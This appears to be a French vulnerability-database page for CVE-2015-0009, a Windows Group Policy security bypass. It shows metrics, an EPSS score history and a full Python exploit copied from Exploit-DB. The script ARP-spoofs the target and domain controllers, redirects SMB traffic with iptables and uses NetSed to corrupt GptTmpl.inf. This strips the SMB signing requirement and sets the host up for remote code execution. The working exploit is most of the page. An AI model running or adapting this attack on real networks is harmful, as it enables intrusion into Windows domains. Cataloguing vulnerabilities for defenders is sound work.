CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Group Policy Security Configuration policy implementation in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows man-in-the-middle attackers to disable a signing requirement and trigger a revert-to-default action by spoofing domain-controller responses, aka "Group Policy Security Feature Bypass Vulnerability."
Category : 7PK - Security Features Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
3.3
AV:A/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
42.53%
–
–
2022-07-03
–
–
39.89%
–
–
2023-03-12
–
–
–
0.43%
–
2023-04-30
–
–
–
0.43%
–
2023-11-05
–
–
–
0.43%
–
2023-11-12
–
–
–
0.43%
–
2023-11-26
–
–
–
0.43%
–
2023-12-03
–
–
–
0.43%
–
2023-12-17
–
–
–
0.43%
–
2024-02-11
–
–
–
0.43%
–
2024-06-02
–
–
–
0.43%
–
2024-07-14
–
–
–
0.43%
–
2024-08-04
–
–
–
0.43%
–
2024-08-11
–
–
–
0.43%
–
2024-12-22
–
–
–
5.22%
–
2025-02-09
–
–
–
6.3%
–
2025-03-16
–
–
–
6.8%
–
2025-01-19
–
–
–
5.22%
–
2025-02-16
–
–
–
6.3%
–
2025-03-18
–
–
–
–
0.42%
2025-03-30
–
–
–
–
0.81%
2025-03-30
–
–
–
–
0.81,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2019-10-28 23h00 +00:00 Auteur : Thomas Zuk EDB Vérifié : No
# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Security Feature Bypass
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2,
# Windows 8, Windows Server 2012, Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0009
# Type: Remote
# Platform: Windows
# Description: This exploit code targets vulnerable systems in order to corrupt GPO updates which causes
# the target system to revert various security settings to their default settings. This includes SMB server
# and network client settings, which by default do not require SMB signing except for domain controllers.
# Successful exploitation against a system with a hardened configuration that requires SMB Signing by the
# network client will make the target system vulnerable to MS15-011, which can lead to remote code execution.
#!/usr/bin/python3
import argparse
import fcntl
import os
import socket
import struct
import subprocess
from subprocess import PIPE
import re
# MS15-014 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-014
# Example usage: python3 ms15-014.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-014.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.
def arpSpoof(interface, hostIP, targetIP):
arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
arpArgs = arpCmd.split()
print("Arpspoofing: %s" % (arpArgs))
p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
def corrupt_packet():
global count
# NetSed listen port 446 (iptables redirected), modify traffic, then forward to destination 445.
netsedCmd = "netsed tcp 446 0 445 s/%00%5c%00%4d%00%61%00%63%00%68%00%69%00%6e%00%65%00%5c%00%4d%00%69%00%63%00%72%00%6f%00%73%00%6f%00%66%00%74%00%5c%00%57%00%69%00%6e%00%64%00%6f%00%77%00%73%00%20%00%4e%00%54%00%5c%00%53%00%65%00%63%00%45%00%64%00%69%00%74%00%5c%00%47%00%70%00%74%00%54%00%6d%00%70%00%6c%00%2e%00%69%00%6e%00%66%00/%00%5c%00%4d%00%61%00%63%00%68%00%69%00%6e%00%65%00%5c%00%4d%00%69%00%63%00%72%00%6f%00%73%00%6f%00%66%00%74%00%5c%00%57%00%69%00%6e%00%64%00%6f%00%77%00%73%00%20%00%4e%00%54%00%5c%00%53%00%65%00%63%00%45%00%64%00%69%00%74%00%5c%00%47%00%70%00%74%00%54%00%6d%00%70%00%6c%00%2e%00%69%00%6e%00%66%00%00" #>/dev/null 2>&1 &
netsedArgs = netsedCmd.split()
print("Starting NetSed!")
print("NetSed: %s" % (netsedArgs))
netsedP = subprocess.Popen(netsedArgs, stdout=PIPE, stderr=subprocess.STDOUT)
while True:
o = (netsedP.stdout.readline()).decode('utf-8')
if o != '':
if args['verbose']:
print("NetSed output: %s" % o)
if re.search('Applying rule', o) is not None:
count += 1
print('packet corrupted: % s' % count)
# During testing, after 4 attempts to retrieve GptTmpl.inf the exploit was successful. Sometimes the machine requested the file 7 times, but exploitation was always successful after 4 attempts.
# The script waits for up to 7 for reliability. Tested on Windows 7 SP1 and Server 2012 R2
if count == 4:
print("Exploit has likely completed!! waiting for up to 7 corrupted packets for reliability. \nIf no more packets are corrupted in the next couple of minutes kill this script. The target should be reverted to default settings with SMB signing not required on the client. \nTarget can now be exploited with MS15-011 exploit.")
#During testing, after 7 attempts to retrieve GptTmpl.inf the GPO update stopped and exploitation was successful.
if count == 7:
break
def get_interface_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])
def iptables_config(targetIP, hostIP):
#allow forwarding, redirect arpspoofed traffic from dport 445 to 446 for NetSed.
print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
print('[+] Running command: iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')
print('[+] Make sure to cleanup iptables after exploit completes')
os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
os.system('iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-port 446')
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Find the SecEdit\GptTmpl.inf UUID to exploit MS15-014')
parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-014", required=True)
parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
parser.add_argument("-v", "--verbose", help="Toggle verbose mode. displays all output of NetSed, very busy terminal if enabled.", action='store_true')
args = vars(parser.parse_args())
target_ip = args['target_ip']
count = 0
# Get the provided interfaces IP address
ipAddr = get_interface_address(args['interface'])
dcSpoof = ""
dcCommaList = ""
dcCount = 0
# loop over the domain controllers, poison each and target the host IP
# create a comma separated list of DC's
# create a "-t" separate list of DC's for use with arpspoof
for dc in args['domain_controller']:
dcSpoof += "-t %s " % (dc)
if dcCount > 0:
dcCommaList += ",%s" % (dc)
else:
dcCommaList += "%s" % (dc)
arpSpoof(args['interface'], dc, "-t %s" % (target_ip))
dcCount += 1
# arpspoof the target and all of the DC's
arpSpoof(args['interface'], target_ip, dcSpoof)
# Setup iptables forwarding rules
iptables_config(target_ip, ipAddr)
#identify requests for GptTmpl.inf and modify the packet to corrupt it using NetSed.
corrupt_packet()